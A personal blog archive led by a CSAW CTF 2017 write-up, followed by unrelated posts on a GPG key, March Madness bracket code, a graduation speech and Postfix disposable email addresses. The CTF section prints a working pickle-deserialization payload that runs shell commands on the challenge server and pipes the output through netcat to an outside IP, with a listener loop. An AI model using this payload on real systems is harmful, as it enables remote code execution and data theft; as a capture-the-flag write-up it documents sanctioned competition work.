CSAW CTF Finals 2017 – KWS 1 Writeup

Introduction

I recently had the opportunity to compete in the CSAW CTF Finals with the UMBC Cyber Dawgs. It was an amazing competition; the organizers were awesome and did a great job. We placed 7th in North America, by the way :)

If you’ve never heard of CSAW before, it’s a huge student-run security conference/competition. We played in the CTF, or capture-the-flag competition. I would consider one of the best undergraduate-level CTF competitions. CSAW CTF is a jeopardy style competition in which you have a board of challenges, and you get points for solving them. You solve the challenge by hacking at it until it gives you a flag of the form flag{th1s_i5_a_f1@g}, which you enter into the scoreboard to receive points. Team with the most points wins.

I’ll be publishing a couple writeups about how we solved some of the challenges; this is the first one.

Challenge

We developed a much better alternative to AWS. Our high-performance kernel
driver gives us unparalleled speed of execution. And we're super-secure!

http://web.chal.csaw.io:6001/

NOTE: Login with your CTFd credentials.

NOTE: This might take a minute to start up the first time you login. Please be
patient!

NOTE: There may be ways to poke at other teams' boxes. Don't do that, it is not
part of the challenge.

NOTE: If you have issues with your instance, try logging out of the KWS
interface, and logging back in.

NOTE: Sorry for all of the notes :P

Author: itszn, Ret2 Systems

Solution

We begin by visiting the provided URL and we’re greeted with a dashboard. We have 1 KWS "instance" (lol), and we have the ability to store new JSON objects by name. So we have a key-value store of some sort.

We do some inspection of traffic (I use the Firefox DevTools), and we can see some requests to the API, and we see some requests to http://some.ip.ip.ip/action. We notice they are all POST requests, and they have a JSON payload of the form GET.json.test.Jl16yRXjeacpiZGr8eQJzQyqXHU. There are also other commands, such as LIST, STORE, and DELETE, that all seem to have a similar signature or something at the end.

We notice a reference to "itsdangerous", which we quickly google and find out it’s an HMAC library. So assuming there are no bugs there, we’re not going to be able to forge signatures. This would seem to rule out tampering with the datastore commands.

However, we notice something interesting about the share endpoint. Signed requests we get back are of the form thing.UMBC Cyber Dawgs.gDnKh62RvHSzZJc9-WuGoz1ALls, where thing is the name of the stored item, and UMBC Cyber Dawgs is our username. So we notice that we can get whatever requests signed that we want, by choosing the name appropriately, with the condition that there is a required suffix of .TEAMNAME.

We were given a signed request for "LIST", so as an exercise, I tried to forge a similar request. I created an item called "LIST", and called the share endpoint. I received the signed request LIST.UMBC Cyber Dawgs.gDnKh62RvHSzZJc9-WuGoz1ALls, which worked the same as the original. Hm, so the suffix doesn’t seem to be checked. I next tried a similar attack with "HELP", but no help command was implemented.

We then goofed around with the other endpoints, until we got a weird error. My teammate Chris did some searching to realize that for some reason, the server was unpickling everything you STORE. We looked up the well known exploit that applies to programs that unpickle untrusted values. I was able to echo hello back to my netcat listener. From there, I wrote the following (awful) script that amounted to a shell:

#!/bin/bash

CMD="$1"

THESTRING=$(curl -H "Content-Type: application/json" -X POST -b 'session=STUFF.GOES.HERE' --data "{\"name\":\"STORE.sendmestuff.cposix\nsystem\np0\n(S'${CMD} | nc 216.165.14.222 1338'\np1\ntp2\nRp3\n.\"}" http://web.chal.csaw.io:6001/api/share | head -2 | tail -1 | cut -d'"' -f4)

echo "$THESTRING"

curl -X POST -H "Content-Type: application/json" -i --data "{\"action\":\"${THESTRING}\"}" http://128.238.62.99:6002/action

If you save this as shell.sh, start a netcat listener with while true; do nc -lvp 1338; done, and run the script with while read cmd; do ./shell.sh "$cmd"; done, it approximates a shell.

At this point, we found the flag in a flag file and we’re done.

(We later added an SSH key and logged in like normal people, when we finally got tired of using this contraption.)

We poke around and eventually realize that they were in fact storing the data in a kernel module, giving rise to KWS 2, a pwn challenge.

Why I generated a GPG Key

So if you’re here, you’re probably one of three types of people. Most likely is that I sent you here because you were wondering why the heck I mentioned this on social media. It’s also possible that you actually care about why I generated a GPG key. I happen to like my explanation, and I hope you do too :) Additionally, in the unlikely case that you just want my key, you can find it at the bottom of the post.

As a result, before I actually answer the question in the title, I should probably answer something else first: What the heck is a GPG key?

What’s a GPG key?

GPG stands for GNU Privacy Guard… and there’s a ton of history that I won’t spend the space to explain. It’s an encryption program. A GPG key has two parts: a public key and a private (or secret) key. You spread the public key as far as you want (I’ve published mine below), and you keep the private key secret.

Then, people can use your key and they can send you messages only you can read. (You also can create a message and prove you wrote it, with a process called signing.)

Why I have one

Ok, that’s great, I guess. Now why do you need one again?

Well, that’s an interesting question. I’ve got a few reasons.

First, by analogy, encryption, for nerds, is a bit like guns for um… people that like guns. You can use it to make your life better (such as allowing you to keep criminals from reading your taxes), just like you can use a gun as a tool (to hunt deer, or some other game). You can also just have it, for the simple reason that you’re a free man and you can. Do I actually think I need to be able to encrypt my emails such that no other soul on the earth can read them? Well, no, but does anyone really need (insert your favorite slightly controversial weapon)? Maybe not (I don’t know what you picked, and that’s not what this article’s about anyway), but people have it/them because they can. Finally, in the unlikely scenario that the world as we know it falls apart, secure communication may come in handy. Well… Personally, I’d take the gun in that situation… but that’s not the point.

Practically speaking, I can now securely store sensitive documents so that only I can read them. Also, if by some freak accident, I end up writing a piece of software that becomes popular, I can sign the source code so people know it’s from me. And also, if I needed to talk to someone about my bank account number or something, and they had a GPG key, we could communicate securely.

About my key

I generated my key on my laptop, and I’ve uploaded it to a few different places. Its “fingerprint”, a short set of numbers that uniquely identifies it, is 8BCF 4423 CBAF 7F6C 60E3 BBA0 3238 40E9 FC31 AFAA. You can use it to verify that the key you have is really mine, and not fake.

I’ve uploaded it to some GPG keyservers, and to Keybase here: https://keybase.io/chainsaw10/

Keybase

So you might have seen a social media post about “verifying myself” or something like that. That has to do with Keybase (link above ^^^).

Keybase is a company that’s trying to make cryptography possible for less extremely technical people. They’ve done a decent job, and it’s pretty cool. The only negative comment I have at the moment is that you should NEVER under ANY circumstances upload your private key somewhere you don’t control, even in encrypted form. They offer a feature that allows just that, so I’d recommend against using it. Otherwise, it’s cool to see someone trying to make cryptography a bit more friendly. Hopefully they can succeed in a way that doesn’t force them to ruin their service (through really ugly ads or something) in the process.

So Keybase’s idea is that you prove that you control various online accounts, and if people know you there, they can personally verify those proofs and have some level of assurance that your keys belong to you. It’s an interesting concept; I’m interested to see how it works out.

More-Technical Details

(Most of the following information will probably only be relevant to people that know what to do with it.)

GPG key fingerprint: 8BCF 4423 CBAF 7F6C 60E3 BBA0 3238 40E9 FC31 AFAA

Download link: https://zackorndorff.com/downloads/zack.public.gpg-key (Or get it from your favorite keyserver)

It’s 4096 bit RSA, with two subkeys so the main key can be kept nominally offline, as explained here.

My March Madness Bracket 2016

So I wrote a blog post about my process of creating my March Madness bracket last year, so I figure this year I’ll revisit it and explain what I changed. (Note: I know this post is actually after March Madness started… but I’ve been busy. I did actually create the bracket before the games began.)

I used Coder’s Bracket again for a couple reasons. First, it was pretty cool last year, and I wanted to try it again. The second was that I was really busy all week at Big Break with Cru, and I didn’t have much extra time to fill out a bracket, so just slightly modifying last year’s algorithm was really easy.

If you haven’t read my post from last year, you should probably go back and read it first for context.

I stuck with forcing seeds better than 5 in the first round and better than 2 in the second round to win. I did this to make sure my bracket doesn’t end up too crazy. Next year, I should try to remove that and see how I do.

What I changed, however, was making that check actually work :) . Last year, I used the >= operator for the condition, checking if the seed was greater than or equal to 5 and 2, which had the opposite effect than what I intended. This year, I’m using the <= operator, which actually does what I want.

I’ve also changed my scoring algorithm to remove winning percentage from the calculation. I’m already using RPI, so it seemed a tad redundant.

Additionally, I messed with the weights, because I felt like it. This isn’t a totally scientific process, contrary to what my comment might indicate :)

And that’s pretty much all there is to it! You can view my completed bracket on the Coder’s Bracket site here.

Here’s the code:

// My algorithm from 2015, with a couple tweaks for this year.
// Didn't work last year, probably won't work this year either,
// but I've been busy this week.

function(game, team1, team2){
  // Seeds 5 and better don't lose in the first round
  if (game.round == 5) {
    if (team1.seed <= 5 || team2.seed <= 5) { if (team1.seed > team2.seed) {
        team2.winsGame();
      } else {
        team1.winsGame();
      }
    }
  }
  // Seeds 2 and better don't lose in the second round
  if (game.round == 4) {
    if (team1.seed <= 3 || team2.seed <= 3) { if (team1.seed > team2.seed) {
        team2.winsGame();
      } else {
        team1.winsGame();
      }
    }
  }
  // Everyone else goes through my TOTALLY SCIENTIFIC scoring algorithm
  if (calcScore(team1) > calcScore(team2)) {
    team1.winsGame();
  } else {
    team2.winsGame();
  }

  // Scoring algorithm
  // Mostly objective, but I tweaked the weights to make my bracket interesting
  // I'm using the RPI, apparently a ranking of schedule difficulty to make win percentage be somewhat fair.
  // It's divided by two to lessen it's impact
  //
  // The numbers on the far side are the weights for each item
  function calcScore(team) {
    var myScore = 0;
    //myScore += team.rpi/2 * team.win_pct * 10; // Winning percentage
    myScore += team.rpi/2 * team.field_goal_pct * 7; // Field Goal percentage
    myScore += team.rpi/2 * team.free_throw_pct * 5; // Free Throw percentage
    myScore += team.rpi/2 * team.three_point_pct * 7; // 3's percentage
    // Penalty for missing 3's. About 10 per game on average, so I divided by 20 to lessen the impact.
    myScore -= team.rpi/2 * (team.threes_attempted - team.threes_made)/20 * 3;
    return myScore;
  }
}

MACA Valedictorian Speech 2015

Recently I had the privilege of speaking as valedictorian at my graduation from Mount Airy Christian Academy. I had so many people ask me for a copy of it, that I decided to post it here. I hope this helps someone. (If you are from MACA, please email/message/whatever me if you want a copy of the video. I’m not publishing the link publicly here.)

As a final note to my class, I meant what I said. I will miss you all next year!

This is a bit of a departure from my other posts to my blog. I recently started a job as a web developer, and I will hopefully post something about that in the next couple weeks.

(Side note: I know the speech is actually called a “valedictory”… but the title is what you get :)

With all that said, here are my notes:

Good evening!

I can’t believe this day is finally here and that I’m speaking!

First, I’d like to thank God for the opportunity to speak tonight. He’s responsible for the grades that got me here; I am nothing without Him. I’d also like to thank my parents for the monstrous amount of time and patience they have invested in me.

I’d like to thank all of the current and former MACA teachers and staff that have taught me about God, academics, and life in general. I know I wasn’t the easiest student to teach, particularly in elementary school… I appreciate all the time that you all spent teaching me, so thanks!

Finally, I’d like to thank my awesome friends for being awesome. I’d also like to thank them for putting up with my terrible puns and not simply tear-ing them off and throwing them away. Most people with my personality would have been the nerd that no one talks to, so thanks for letting me instead be the nerd that people actually talk to.

Having said that, I guess I should commence my commencement speech.

Commencement is a strange word. Many of us, myself included prefer the term “graduation”. If the only time you ever heard the word “commence” was here, you’d assume it meant “to end”. However, that is not the case. The word “commence” means “to begin”. While after surviving our English final and thesis presentations, it may feel like we have accomplished everything we ever should in life, in reality, graduation, formally called “commencement” for a reason, really is just the beginning of our lives.

Some of us are going to go straight to work, some of us will join the armed forces, and some of us apparently think we need more education or something and are going to college. Whether we like it or not, in these new roles, people will try to apply the term “responsible adult” to us, and somehow, we’re supposed to rise to the occasion.

Now, as teenagers, we know that term will only come up when someone considers something we did “less than responsible”, but seriously, there are some benefits to it. We can wear stuff more comfortable than a MACA polo, we can grow facial hair, and we can eat as much candy as we can afford (wait… that might not be very much).

We also get to make our own decisions. The biggest one we’ve all made or are making is to go to work, the military, or college. We also must make a plethora of other decisions. What specific career to choose, what car to buy, who to marry, where to live, what state to move to, what hashtag to use for our next post. Those are difficult decisions to make, with real consequences.

Now in the world some people think we live in, I would have to stand here and tell you that you need to consider these choices very carefully, because aside from your family, no one cares about you, and if you don’t watch out, you will fail miserably, you will die and cease to exist, and no one will remember you.

Fortunately, as we all know, that is not true. I’d like to take a minute tonight and talk about that. I’m worried about the potential outcomes of these decisions. I’m particularly apprehensive of how I will repay my student loans I’m about to take out. I shouldn’t be. In Matthew 6, Jesus talks about this: “Therefore I tell you, do not worry about your life, what you will eat or drink; or about your body, what you will wear. Is not life more than food, and the body more than clothes? Look at the birds of the air; they do not sow or reap or store away in barns, and yet your heavenly Father feeds them. Are you not much more valuable than they?” I’m going to skip a couple verses for the sake of time. Jesus concludes this section of his teaching by saying “For the pagans run after all these things, and your heavenly Father knows that you need them. But seek first his kingdom and his righteousness, and all these things will be given to you as well. Therefore do not worry about tomorrow, for tomorrow will worry about itself. Each day has enough trouble of its own.”

According to Jesus’ teaching here, we are to primarily focus on God’s kingdom, and we should not be worried about food or clothes or even our lives. Obviously, this does not absolve us of our responsibility to work hard, but it seems that if we do our due diligence to follow God, He will make sure that everything else is taken care of. Not necessarily the way we prefer, but He will take care of us. I keep reminding myself of this, and I hope it will help you as well.

I have faith that God has a plan for all of us. I think that all of us have the potential to be successful. Before I wrote that line, I did in fact consider who I was going to speak to. Seriously, each of us is good at our own thing. I won’t ask any of you to code a website, and please, please, don’t ask me to paint you a picture, but it will be interesting to see what each of us does with our God-given talents.

While I’m on the subject of success, here’s a piece of wisdom I saw on the internet a while ago, and I’m going to shamelessly repeat it here: When we’re just starting out, we shouldn’t expect to have as much money as our parents. They’ve spent 30 years getting to the point they’re at today. We won’t start out with that. (We also won’t have the same expenses, so it balances a little bit, but we still should keep this in mind.)

In closing, I’d like to exhort you: follow God, and you will be successful in His sight. That’s not necessarily what the world considers successful, but it’s what really matters. There are so many things that have happened in my life that make me wonder what God has in store for me. I’m sure God has plenty in store for you as well.

In conclusion, congratulations Class of 2015! We made it! It’s been great going through school with you all for the last 12 years. May God bless you!

My March Madness Bracket 2015

I’m just okay at picking basketball brackets. I usually finish somewhere in the upper third of the pack, IIRC.

However, it’s interesting to enter a bracket and watch the results come in (I almost never watch the games), so I usually make a bracket.

This year, I decided to use Coder’s Bracket to create my bracket.

If you haven’t already seen Coder’s Bracket, you should take a look. Basically, you algorithmically generate your bracket using JavaScript. However, setting that up manually is a lot of work. Fortunately, Coder’s Bracket has already done that for you. You provide a function taking three object parameters (game, team1, team2) that will call team1.winsGame() or team2.winsGame() depending on what you determine. You start with a simple seed-rules algorithm and work from there.

My algorithm runs basically like this:

  1. If it’s round 1 and the seed is greater than 5, it wins.
  2. If it’s round 2 and the seed is greater than 2, it wins.
  3. Otherwise, compute my extremely not scientific score for each team and the higher score wins.

My scoring algorithm takes into account strength of schedule (RPI), Field Goal %, Free Throw %, 3’s %, and Missed 3’s. I weight the values to make my bracket interesting (probably at the cost of correctness…).

There are probably a million and a half (exactly) problems with this algorithm, but it was fun to create.

You can see my bracket on Coder’s Bracket’s website.

I’ve included my algorithm below.

function(game, team1, team2){
  // Seeds 5 and better don't lose in the first round
  if (game.round == 5) {
    if (team1.seed >= 5 || team2.seed >= 5) {
      if (team1.seed > team2.seed) {
        team2.winsGame();
      } else {
        team1.winsGame();
      }
    }
  }
  // Seeds 2 and better don't lose in the second round
  if (game.round == 4) {
    if (team1.seed >= 3 || team2.seed >= 3) {
      if (team1.seed > team2.seed) {
        team2.winsGame();
      } else {
        team1.winsGame();
      }
    }
  }
  // Everyone else goes through my TOTALLY SCIENTIFIC scoring algorithm
  if (calcScore(team1) > calcScore(team2)) {
    team1.winsGame();
  } else {
    team2.winsGame();
  }

  // Scoring algorithm
  // Mostly objective, but I tweaked the weights to make my bracket interesting
  // I'm using the RPI, apparently a ranking of schedule difficulty to make win percentage be somewhat fair.
  // It's divided by two to lessen it's impact
  //
  // The numbers on the far side are the weights for each item
  function calcScore(team) {
    var myScore = 0;
    myScore += team.rpi/2 * team.win_pct * 10; // Winning percentage
    myScore += team.rpi/2 * team.field_goal_pct * 7; // Field Goal percentage
    myScore += team.rpi/2 * team.free_throw_pct * 4; // Free Throw percentage
    myScore += team.rpi/2 * team.three_point_pct * 5; // 3's percentage
    // Penalty for missing 3's. About 10 per game on average, so I divided by 20 to lessen the impact.
    myScore -= team.rpi/2 * (team.threes_attempted - team.threes_made)/20 * 3;
    return myScore;
  }
}

Disposable Email Addresses with Postfix

As I thought about setting up my website and email, I wanted to have a way to give out disposable email addresses. That way, I can give Widget Co an email address unique to them, and I can know if they sell my email because I will get emails from Sprockets Inc. at my address for Widget Co. In that case, I can trash all email sent to that address, eliminating that spam.

A Possible, but not Ideal Option

I know of a couple people who use the following system: they set up a catch-all email for their domain, and point it at their main inbox. Then, they give name@domain.com to people they want to communicate with, and they give business_name@domain.com to businesses they need to communicate with. In my example, they would give widget@domain.com to Widget Co.

However, there are a couple problems with this system.

  1. Spam. They receive all the spam that is sent to any address at their domain. Granted, they could use spam filtering to solve this, but wouldn’t it be better if it just bounced?
  2. Plausible deniability for the company. It is conceivably possible that a spammer could have made up that address from a dictionary, or someone could have done so deliberately. I would prefer to have a stronger reason to claim that a company sold my email.

A Better Option

Another option would be to set up an alias pointing to the main email for every company you want to communicate with. This has the advantage of dramatically reducing the spam problem, and depending on how creative you get with the addresses you give out, it could potentially address #2 above as well.
However, this option has a flaw that caused me to write it off. That is that you have to manually create an alias for every address you want to give out. The huge advantage of the first option is that you don’t have to pre-plan or keep a list of the addresses you give out.

My “Ideal” Option

As I thought about it (this is before I even had a domain name, so it was purely theoretical), I came up with the idea that maybe I could combine the company name with some sort of hash of the name and a constant secret, so that the disposable email would only be delivered to my inbox if the hash matched its expected value.

That seems hard to read, so I’ll describe the process. Let’s say that we want to give Widget Co an address. We choose widget as the name for the email. We have pre-picked the secret "S3cr3t!!". So to determine the address, we take hash(name + secret), in this case, hash(widgetS3cr3t!!) and get something like 7ab5w9274abe (made up). We then make the email address name+hash@example.com, which in this case is widget+7ab5w9274abe@example.com.

When the mail server gets a message like this, it first checks the regular address list, and if it doesn’t match, it checks the disposable addresses. It performs the hash the same way we did above, and accepts the message if it matches, and bounces the message if it does not match.

This solves the #1 problem from above, and also partially addresses #2, depending on the strength of the hash.

Weak Points

  • Length of the email address. If you already have 6 characters, and you add more to it, you end up with a really long address. I worry this may cause problems with length limits on web forms.
  • Potential brute force. There is not enough room in the email address to use a full hash. That would really be too long, making the above problem worse. Bitcoin, for instance, to mine a block, requires one to find something with a hash with a certain number of zeros at the beginning. I think they’re up to 6 or 7 at this point, which means it is possible to brute force the first 6 or 7 digits of a hash (whichever one Bitcoin uses). This means that 6 or 7 digits of a hash is brute forcible, making this scheme brute forcible.

My Final Choice

I ended up implementing a variation on the above choice, using the first six hex digits of a SHA-256 hash. My choice of six digits is an attempt at a decent tradeoff between the two weak points from above. Yes, it is probably possible to brute force the secret, but the reward for someone using brute force is very low; I will just delete their spam. If your email is more important than mine, you may want a better option altogether.

I also added the concept of a “prefix” to the above option. That enables me to have different sets of disposable addresses if I need to, with potentially different secrets or mailboxes.

So the final address ends up being the concatenation of the prefix, the name, a plus sign (for easy separation), and the first 6 characters of the SHA-256 hash of the name plus the secret associated with that prefix. For example: q1_widget+0d3343@example.com.

Implementation

When I set up my mail server, I made this a secondary concern. I wanted email to work, then I would worry about fancy stuff. I had already decided to use Ubuntu Server, because I was already familiar with it. I found two decent tutorials, and I combined what in my opinion were the best parts of them. I used the tutorial Lee Hutchinson wrote for Ars Technica, How to run your own e-mail server with your own domain, along with the tutorial from Linode, Email with Postfix, Dovecot, and MySQL. I mostly used the Ars Technica tutorial with the exception that I followed the advice from Linode’s tutorial to store your users, password, and aliases in a MySQL database. There is merit to both options, but I was already going to need MySQL for WordPress, so it didn’t cost me a lot of resources.

I’m not going to rehash those tutorials, because they did a far better job, and it is out of the scope for this (already long enough) blog post, but I will explain the parts relevant to disposable addresses.

I’d like to start off with a disclaimer that this is a really ugly way to do this, and there is probably a better way to do it, but it does work.

If you follow the advice from the Linode tutorial I linked, you will have a table called virtual_domains that tracks domains, a table called virtual_users that tracks all your real email accounts, and a table called virtual_aliases that tracks your aliases (PSA: don’t forget to alias postmaster, webmaster, abuse, etc. to an actual account!).

I added a table called email_secrets to track the information associated with disposable addresses. It has four columns: id (auto_increment primary key), user_id (so Postfix can know where to put email for this set of disposable addresses), prefix (to match addresses with rows in this table), and secret (as mentioned earlier).

There is a weakness in this setup: it is not domain specific. If you try to handle multiple domains with one server, the disposable addresses will work at any domain, I think. If this is your use case, then modifying my setup according is left as an exercise to the reader.

However, now we need to get Postfix to use this. In the Linode tutorial, you created a file to inform Postfix about the email_aliases table. Then, you linked to it in the main.cf. We are going to add a second file to that rule. I called mine mysql-virtual-disposable.cf. It looks like this (usernames/passwords changed):

user = username
password = password
hosts = 127.0.0.1
dbname = your_database_name
query = SELECT vu.email FROM virtual_users vu INNER JOIN email_secrets es ON vu.id = es.user_id WHERE (instr("%s", concat(es.prefix,"_")) = 1) AND (mid(sha2(concat(mid("%s",char_length(es.prefix)+2,locate("+", "%s")-char_length(es.prefix)-2),es.secret),256),1,6)) = (mid("%s", locate("+", "%s") +1, locate("@", "%s") - locate("+", "%s")-1));

The important part there is the query, which I will explain in a minute.

Then, I had to change the main.cf line to

virtual_alias_maps = mysql:/etc/postfix/mysql-virtual-alias-maps.cf, mysql:/etc/postfix/mysql-virtual-disposable.cf

This tells Postfix to first run the query in the mysql-virtual-alias-maps.cf file, and if it doesn’t get a match, to run the query in the mysql-virtual-disposable.cf file before bouncing it if neither match.

That query…

SELECT vu.email FROM virtual_users vu INNER JOIN email_secrets es ON vu.id = es.user_id
WHERE (instr("%s", concat(es.prefix,"_")) = 1)
AND (mid(sha2(concat(mid("%s",char_length(es.prefix)+2,locate("+", "%s")-char_length(es.prefix)-2),es.secret),256),1,6))
= (mid("%s", locate("+", "%s") +1, locate("@", "%s") - locate("+", "%s")-1));

I’m going to try to explain that query line by line. I must confess, I’m not super familiar with SQL. I don’t even know for sure whether you’re allowed to break the lines the way I just did, however, it works for purposes of explanation.

First of all, %s refers to the email address in question. I don’t know if Postfix uses prepared statements or not, but hopefully Postfix mitigates SQL injection… Someone please comment if you know.

Postfix expects to run this query and get one row and one column back. The result should be the email address for the real inbox the email should be delivered to. If it receives no results, it will bounce the email.

Line 1: we want to work with data from the tables virtual_users and email_secrets. We want the rows from email_secrets joined to the rows from virtual_users if the id’s match.

Line 2: This tests each row to see if the email starts with the prefix.

Line 3: This extracts the name from between the prefix that matched in line 2 and the +. It then concatenates the secret corresponding with the prefix and takes the SHA-256 hash. Then, it takes only the first 6 characters. (I apologize for the magic numbers. They account for off by one errors. This is true of the next line as well. Obviously the 256 refers to a SHA-256 hash, and the 1 and 6 refer to taking 6 characters, starting with the 1st position.)

Line 4: This starts with the equals sign, so that means that the result of line 3 (the first 6 characters of the hash) needs to equal whatever this finds. This line pulls out the hash by pulling the text between the + and the @.

If all of this succeeds, the WHERE clause will be true, and MySQL will select virtual_users.email (as we asked for in line 1) and return it to Postfix.

Use

So, how does this work, in practice?

To start out, you need to add a row to the email_secrets table. You will need to include the user_id for the mailbox you want the email to be delivered to. You need to supply a secret and a prefix as well. Keep the secret reasonably secret; it allows you to generate disposable addresses.

Io generate an email address, you first put the prefix and name, then you take SHA256(name+prefix), for instance, SHA256("widgetS3cr3t!!") and put a plus sign, then the first 6 hex digits of the hash, then @yourdomain.com. For instance, q1widget+3eda42@example.com.

To do this, you will need to somehow take that hash. Personally, I use the Linux shell and do:

echo -n "widgetS3cr3t!!" | sha256sum

Conclusion

I have outlined a method for creating unlimited amounts of disposable email addresses if Postfix is your mail server.

If this helps you, or if you have a question, please comment below. I moderate comments, so it may take a day or two for your comment to appear.